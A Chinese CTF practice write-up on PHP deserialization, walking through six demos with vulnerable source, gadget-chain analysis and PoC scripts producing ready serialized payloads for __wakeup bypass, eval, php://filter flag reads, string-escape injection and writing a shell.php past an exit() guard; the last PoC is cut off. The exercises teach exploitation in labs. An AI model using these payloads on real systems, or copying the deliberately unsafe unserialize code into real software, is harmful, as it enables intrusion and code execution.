Loading

php反序列化练习题

反序列化练习

多学多练

demo1

源码

<?php  
  error_reporting(0); //关闭错误报告
    class happy{ 
        protected $file='demo1.php'; 
        public function __construct($file){ 
            $this->file=$file; 
        } 
         
        function __destruct(){ 
            if(!empty($this->file))
            {
                if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //过滤了文件名中的\\与/
                    show_source(dirname(__FILE__).'/'.$this->file); //打开文件操作
                else
                    die('Wrong filename.');
            }
        } 
         
        function __wakeup(){ 
            $this->file='demo1.php'; 
        } 
        public function __toString()
        {
            return '';
        }
 }
      
    if (!isset($_GET['file'])){ 
        show_source('demo1.php'); 
    } 
    else{ 
        $file=base64_decode($_GET['file']); 
        echo unserialize($file); 
        } 
?> 
<!--password in flag.php--> 

分析

看到unserialize 先找找看有无 __wakeup()、__destruct()

happy类中有 __destruct() 方法 并且如果$file存在的话直接展示$file的代码

但是注意到happy类中还有 __wakeup() 方法 将$file的值改变

unserialize执行__destruct() 要先执行__wakeup() 因此要想办法绕过__wakeup()

在我之前总结的文件章里有写过wakeup失效来绕过__wakeup()

poc

<?php
	 class happy{ 
			public $file='demo1.php'; 
	 }
	 $o = new happy();
	 echo serialize($o); 
		//O:5:"happy":1:{s:7:"\00*\00file";s:8:"flag.php";}  \00为空字符 
	 $s = 'O:5:"happy":2:{s:7:"'.chr(0).'*'.chr(0).'file";s:8:"flag.php";}';
	 echo base64_encode($s);
		//Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
 ?>

tips

protected 属性在序列化过后参数前面的标识符为\00*\00(\00为空字符) 但是用\00的时候不能成功输出 以因此使用chr(0)来拼接代替

image-20201202204824377

demo2

源码

<?php
show_source('demo2.php');
class test1
{
    public $varr;
    function __construct()
    {
        $this->varr = "demo2.php";
    }
    function __destruct()
    {
        if(file_exists($this->varr)){
            echo "<br />文件".$this->varr."存在<br />";
        }
    }
}

class test2
{
    public $varr;
    public $obj;
    function __construct()
    {
        $this->varr='123456';
        $this->obj=null;
    }
    function __toString()
    {
        $this->obj->execute();
        return $this->varr;
    }
    function __destruct()
    {
        echo "<br />这是f2的析构函数<br />";
    }
}

class test3
{
    public $varr;
    function execute()
    {
        eval($this->varr);
    }
    function __destruct()
    {
        echo "<br />这是f3的析构函数<br />";
    }
}

    if (isset($_GET['x'])) {
		unserialize($_GET['x']);
	}
	
?>

分析

看到unserialize__wakeup()、__destruct()

test1类中有 __destruct() 方法 其中会先判断file_exists()

class test1
{
    function __destruct()
    {
        if(file_exists($this->varr)){
            echo "<br />文件".$this->varr."存在<br />";
        }
}

如果file_exists() 的值为对象时 会执行 __toString() 方法 并且$varr 是可控的

搜索__toString() 方法 在 test2 中有 __toString() 方法

class test2
{
    public $varr;
    public $obj;
    function __construct()
    {
        $this->varr='123456';
        $this->obj=null;
    }
    function __toString()
    {
        $this->obj->execute();
        return $this->varr;
    }
    ......
}

其中又指向 $this->obj->execute() 查找 execute() 方法 并且$varr$obj; 是可控的

查找execute() 方法 参数直接执行eval()test3 中有 execute() 方法 并且$varr 是可控的

class test3
{
    public $varr;
    function execute()
    {
        eval($this->varr);
    }
    ......
}

poc

<?php
	class test1{
		public $varr;
		function __construct()
		{
			$this->varr = new test2();
		}
	}

	class test2
	{
		public $varr;
		public $obj;
		function __construct()
		{
			$this->varr='123456';
			$this->obj=new test3();
		}
	}
	
	class test3
	{
		public $varr = 'phpinfo();';
	}
	
	$o = new test1();
	$s = serialize($o);
	echo urlencode($s);
//O%3A5%3A%22test1%22%3A1%3A%7Bs%3A4%3A%22varr%22%3BO%3A5%3A%22test2%22%3A2%3A%7Bs%3A4%3A%22varr%22%3Bs%3A6%3A%22123456%22%3Bs%3A3%3A%22obj%22%3BO%3A5%3A%22test3%22%3A1%3A%7Bs%3A4%3A%22varr%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D
?>

tips

将输出url编码 是为防止特殊字符转义

image-20201202213455566

demo3

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get()函数。

源码

MRCTF 2020 Easy pop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='demo3.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "demo3.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

分析

看到unserialize__wakeup()、__destruct()

show类中有 __wakeup() 方法 其中有$this->source$sourceShow 对象时会先执行 __construct 当执行__toString() 方法 其中 $source$str都是可控的

class Show{
    public $source;
    public $str;
    public function __construct($file='demo3.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "demo3.php";
        }
    }
}

__toString() 方法指向 $this->str->source; 会发现没有 source 方法 但是在 Test 类中找到了 __get() 方法 其中 $p 可控 并且 return $function(); 会触发 __invoke() 方法

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

Modifier 类中找到 __invoke() 方法 指向 append 方法 会执行 include() 就可以用php伪协议读文件

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

poc

<?php

	class Modifier{
		protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
	}
	
	class Show{
		public $source;
		public $str;
		public function __construct($file='demo3.php'){
			$this->source = $file;
			echo 'Welcome to '.$this->source."<br>";
		}
		public function __toString(){
			return '666';
		}

		public function __wakeup(){
			if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
				echo "hacker";
				$this->source = new Show();
			}
		}
	}
	
	class Test{
	public $p;

    public function __construct(){
        $this->p = new Modifier();
    }
	}
	
	$a = new Show();
	$a->str = new Test();
	$b = new Show($a);
	$s = serialize($b);
	echo $s;
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"demo3.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
	echo '</br>';
	echo urlencode($s);
//O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22demo3.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
?>

image-20201203103425579

再将得到的base64解码即可看到源码

demo4

源码

强网杯-web-辅助 (直接给出了源码)

//index.php
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
 
if (isset($_GET['username']) && isset($_GET['password'])){
    $username = $_GET['username'];
    $password = $_GET['password'];
    $player = new player($username, $password);
    file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
    echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
    echo "Please input the username or password!(get)\n";
}
?>
//common.php
<?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}
 
function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
?>
//class.php
<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;
 
    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }
 
    public function get_admin(){
        return $this->admin;
    }
}
 
class topsolo{
    protected $name;
 
    public function __construct($name = 'Riven'){
        $this->name = $name;
    }
 
    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }
 
    public function __destruct(){
        $this->TP();
    }
 
}
 
class midsolo{
    protected $name;
 
    public function __construct($name){
        $this->name = $name;
    }
 
    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
 
 
    public function __invoke(){
        $this->Gank();
    }
 
    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}
 
class jungle{
    protected $name = "";
 
    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }
 
    public function KS(){
        eval('phpinfo();');
    }
 
    public function __toString(){
        $this->KS();  
        return "";  
    }
}
?>
//play.php
<?php
	@error_reporting(0);
	require_once "common.php";
	require_once "class.php";
	 
	@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
	print_r($player);
	if ($player->get_admin() === 1){
		echo "FPX Champion\n";
	}
	else{
		echo "The Shy unstoppable\n";
	}
?>

分析

index.php 传入 usernamepassword 然后通过 player 方法将对象反序列化的值输入到文件里

    $username = $_GET['username'];
    $password = $_GET['password'];
    $player = new player($username, $password);
	file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 	
    
    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }
// $username=1&$paassword=1
// O:6:"player":3:{s:7:"\0*\0user";s:1:"1";s:7:"\0*\0pass";s:1:"1";s:8:"\0*\0admin";i:0;}

play.php 会将存入文件的值反序列化

topsolo 类中找到 __destruct() 方法 指向 tp() 当传入的 $name 是方法或者对象时 执行函数 传入对象 调用 __invoke() 方法 $name 可控

class topsolo{
    protected $name;
 
    public function __construct($name = 'Riven'){
        $this->name = $name;
    }
 
    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }
 
    public function __destruct(){
        $this->TP();
    }
}

midsolo 类中有 __invoke() 方法 指向 Gank() 方法 stristr函数 当传的是对象 调用__toString() 方法

class midsolo{
    protected $name;
    
    class midsolo{
    	protected $name;
    }
    
    public function __invoke(){
        $this->Gank();
    }
 
    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}
   
    public function __invoke(){
        $this->Gank();
    }
 
    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

jungle 类中有 __toString() 方法 指向 KS() 方法 然后执行命令

class jungle{
    protected $name = "";
 
 
    public function KS(){
        eval('phpinfo();');
    }
 
    public function __toString(){
        $this->KS();  
        return "";  
    }
}

poc

构造pop链

<?php

class topsolo{
    protected $name;
 
    public function __construct($name = 'Riven'){
        $this->name = new midsolo();
    }
 
    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }
 
    public function __destruct(){
        $this->TP();
    }
}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = new jungle();
    }
	
    public function __invoke(){
        $this->Gank();
    }
 
    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "Th0r";
}

$o = new topsolo();
$s = serialize($o);
echo $s;
// O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Th0r";}}}
echo urlencode($s);
// O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D

绕过wakeup()

为了绕过wakeup() 将midsolo后的1修改为2

wakeup失效影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10

O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":2:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Th0r";}}}`

O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D

先在class.php里传入参数试了试 发现一直不能将值传进去

image-20201206213358103

一直以为是链构造出了问题 浪费了很多时间 最后发现将php的版本设置成php7.3.4 成功传入参数 但目前还不知道是什么东西造成的

更改了php版本以后又出现了新的问题 在生成序列化链的时候直接报错 无法生成

PHP Fatal error: Uncaught ArgumentCountError: Too few arguments to function midsolo::__construct()

最后百度得知

早期的 PHP 版本允许函数调用时传递的参数少于函数定义本身要求的参数个数,但当你调用函数时就会抛出一个参数丢失的警告。但在 PHP 7.1 以后,这些警告变成了一个 ArgumentCountError 的异常

绕过stristr()

当表示字符类型的s大写时,会被当成16进制解析。

因此将 name---> \6e\61\6d\65,并将s改为S

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D

字符串逃逸

function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

这里主要需要关注的是read函数 当在文件中读取字符串时 会将 \0*\0 变为 chr(0)."*".chr(0) 因此字符串数量减少了两个 从而达到逃逸

先将其传入查看

O:6:"player":3:{s:7:"%00*%00user";s:0:"";s:7:"%00*%00pass";s:130:"O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:4:"Th0r";}}}";s:8:"%00*%00admin";i:0;}

注意:%00在此表示空字符 以url编码的字符为准 这里可能造成url二次编码

需要的就是把 ";s:7:"%00*%00pass";s:130:" 注释掉 总共有23个字符

因此需要 23/2 +1 =12个 \0*\0 但需要补充一个字符 C

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0

补充上之前注释掉的字符 ";s:7:"%00*%00pass"; 这样password对应的就是对象

password=C";s:7:"%00*%00pass";O:6:"player":3:{s:7:"%00*%00user";s:0:"";s:7:"%00*%00pass";s:130:"O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:4:"Th0r";}}}";s:8:"%00*%00admin";i:0;}

最终payload

?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C%22%3bs%3a7%3a%22%00%2A%00pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D

image-20201215153112948

访问play.php

image-20201215153201529

demo5

buu 2020新春红包题

源码

<?php
error_reporting(0);

class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
        return $contents;
    }
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }
    public function save() {
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return $filename;
        }
        return null;
    }
}
if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

分析

后面有 unserialize函数 那就先找找看有无__wakeup()__destruct() 方法

    public function save() {
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }

A类中存在 __destruct() 方法指向 save() 然后指向 set() 方法 在B类中找到set() 方法

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return $filename;
        }
        return null;
    }

set() 方法中存在 file_put_contents($filename, $data) 函数 并且 $filename$data 都是可控的 因此可以在此尝试漏洞利用

    $expire = $this->getExpireTime($expire);
    $filename = $this->getCacheKey($name);

先看看 $expire$filename 是如何赋值的

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        // uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

主要是看 $filename 将 文件名首先进行了随机化 然后还过滤了以 .php 结尾的文件

使用 /../ 将目录穿越到上一层 并且文件名也可以得到固定 绕过随机文件名 在文件名后面加上 /. 对文件名并且影响并且可以绕过 substr()的检测 $name=/../shell.php/.

出入文件的参数 $data

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

这里需要绕过 exit() 的限制 不然无法执行传入的代码

使用php://filter流的base64-decode方法,将$data解码,可以利用php base64_decode函数特性去除“死亡exit”。因为 base64_decode() 只解析base64编码中只包含64个可打印字符 <、?、;、>、空格 等不符合的字符将被忽略 因此真正解析的内容只有 phpexit 和传入的字符。因此可以绕过exit

参考链接

再看看A类中需要构造的函数

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }
    public function cleanContents(array $contents) 

因此 $cache 应该为数组

poc

<?php
class A {
    protected $store;
    protected $key;
    protected $expire;
	
	public $complete = 1;
	public $cache = [];
	
    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = '/../shell.php/.';
        $this->store = new B();
		$this->cache = ['dirname' => 'aPD9waHAgcGhwaW5mbygpOz8+'];
    }
}

class B {
	public $options = [
			'serialize' => 'serialize',
			'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',
		];
}

$o = new A();
echo urlencode(serialize($o));
?>
//O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22prefix%22%3Bs%3A60%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D.%2Fuploads%2F%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A15%3A%22%2F..%2Fshell.php%2F.%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bi%3A1%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bs%3A7%3A%22dirname%22%3Bs%3A25%3A%22aPD9waHAgcGhwaW5mbygpOz8%2B%22%3B%7D%7D

image-20201217110523595

demo6

来自lemon师傅博客

源码

 <?php
class OutputFilter {
  protected $matchPattern;
  protected $replacement;
  function __construct($pattern, $repl) {
    $this->matchPattern = $pattern;
    $this->replacement = $repl;
  }
  function filter($data) {
    return preg_replace($this->matchPattern, $this->replacement, $data);
  }
};
class LogFileFormat {
  protected $filters;
  protected $endl;
  function __construct($filters, $endl) {
    $this->filters = $filters;
    $this->endl = $endl;
  }
  function format($txt) {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};
class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("E:\\www\\pop\\" . $this->filename, $txt, FILE_APPEND);
  }
};
class Logger {
  protected $logwriter;
  function __construct($writer) {
    $this->logwriter = $writer;
  }
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
};
class Song {
  protected $logger;
  protected $name;
  protected $group;
  protected $url;
  function __construct($name, $group, $url) {
    $this->name = $name;
    $this->group = $group;
    $this->url = $url;
    $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
    $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
  }
  function __toString() {
    return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
  }
  function log() {
    $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
  }
  function get_name() {
      return $this->name;
  }
}
class Lyrics {
  protected $lyrics;
  protected $song;
  function __construct($lyrics, $song) {
    $this->song = $song;
    $this->lyrics = $lyrics;
  }
  function __toString() {
    return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
  }
  function __destruct() {
    $this->song->log();
  }
  function shortForm() {
    return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
  }
  function name_is($name) {
    return $this->song->get_name() === $name;
  }
};
class User {
  static function addLyrics($lyrics) {
    $oldlyrics = array();
    if (isset($_COOKIE['lyrics'])) {
      $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
    }
    foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
    setcookie('lyrics', base64_encode(serialize($oldlyrics)));
  }
  static function getLyrics() {
    if (isset($_COOKIE['lyrics'])) {
      return unserialize(base64_decode($_COOKIE['lyrics']));
    }
    else {
      setcookie('lyrics', base64_encode(serialize(array(1, 2))));
      return array(1, 2);
    }
  }
};
class Porter {
  static function exportData($lyrics) {
    return base64_encode(serialize($lyrics));
  }
  static function importData($lyrics) {
    return serialize(base64_decode($lyrics));
  }
};
class Conn {
  protected $conn;
  function __construct($dbuser, $dbpass, $db) {
    $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
  }
  function getLyrics($lyrics) {
    $r = array();
    foreach ($lyrics as $lyric) {
      $s = intval($lyric);
      $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
      while (($row = $result->fetch_row()) != NULL) {
        $r []= unserialize(base64_decode($row[0]));
      }
    }
    return $r;
  }
  function addLyrics($lyrics) {
    $ids = array();
    foreach ($lyrics as $lyric) {
      $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
      $res = $this->conn->query("SELECT MAX(id) FROM lyrics");
      $id= $res->fetch_row(); $ids[]= intval($id[0]);
    }
    echo var_dump($ids);
    return $ids; 
  }
  function __destruct() {
    $this->conn->close();
    $this->conn = NULL;
  }
};

if (isset($_GET['cmd'])) {
  unserialize($_GET['cmd']);
}else{
  highlight_file(__FILE__);
}
?> 

分析

看到 unserialize() 还是先找找看有无__wakeup()__destruct() 方法

class Lyrics {
  protected $lyrics;
  protected $song;
  function __construct($lyrics, $song) {
    $this->song = $song;
    $this->lyrics = $lyrics;
  }
  function __destruct() {
    $this->song->log();
  }
}

指向 logger 类的 log() 方法

class Logger {
  protected $logwriter;
  function __construct($writer) {
    $this->logwriter = $writer;
  }
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
};

指向 writeLog 方法 在 LogWriter_File 类中可以找到

class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents(dirname(__FILE__) .'\\'. $this->filename, $txt, FILE_APPEND);
};

通过 file_put_contents 就可以写入shell

但如果继续看下去 指向 format 方法 在 LogFileFormat 类中可以找到

class LogFileFormat {
  protected $filters;
  protected $endl;
  function __construct($filters, $endl) {
    $this->filters = $filters;
    $this->endl = $endl;
  }
  function format($txt) {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};

指向 filter 方法 在 OutputFilter 类中可以找到

class OutputFilter {
  protected $matchPattern;
  protected $replacement;
  function __construct($pattern, $repl) {
    $this->matchPattern = $pattern;
    $this->replacement = $repl;
  }
  function filter($data) {
    return preg_replace($this->matchPattern, $this->replacement, $data);
  }
};

在 PHP版本<=5.5 的情况 可以通过 preg_replace() /e 执行代码

poc

由于我们这里的环境是php 7.0 就执行到 file_put_contents()

<?php
	class Lyrics {
	  protected $lyrics;
	  protected $song;
	  function __construct($lyrics, $song) {
		$this->song = $song;
		$this->lyrics = $lyrics;
	  }
	}

	class Logger {
	  protected $logwriter;
	  function __construct($writer) {
		$this->logwriter = $writer;
	  }
	  function log($txt) {
		$this->logwriter->writeLog($txt);
	  }
	};

	class LogWriter_File {
	  protected $filename;
	  protected $format;
	  function __construct($filename, $format) {
		$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
		$this->format = $format;
	  }
	  function writeLog($txt) {
		$txt = $this->format->format($txt);
		//TODO: Modify the address here, and delete this TODO.
		file_put_contents(dirname(__FILE__) .'\\'. $this->filename, $txt, FILE_APPEND);
	  }
	};

	class LogFileFormat {
	  protected $filters;
	  protected $endl;
	  function __construct($filters, $endl) {
		$this->filters = $filters;
		$this->endl = $endl;
	  }
	  function format($txt) {
		foreach ($this->filters as $filter) {
		  $txt = $filter->filter($txt);
		}
		$txt = str_replace('\n', $this->endl, $txt);
		return $txt;
	  }
	};

	class OutputFilter {
	  protected $matchPattern;
	  protected $replacement;
	  function __construct($pattern, $repl) {
		$this->matchPattern = $pattern;
		$this->replacement = $repl;
	  }
	  function filter($data) {
		return preg_replace($this->matchPattern, $this->replacement, $data);
	  }
	};

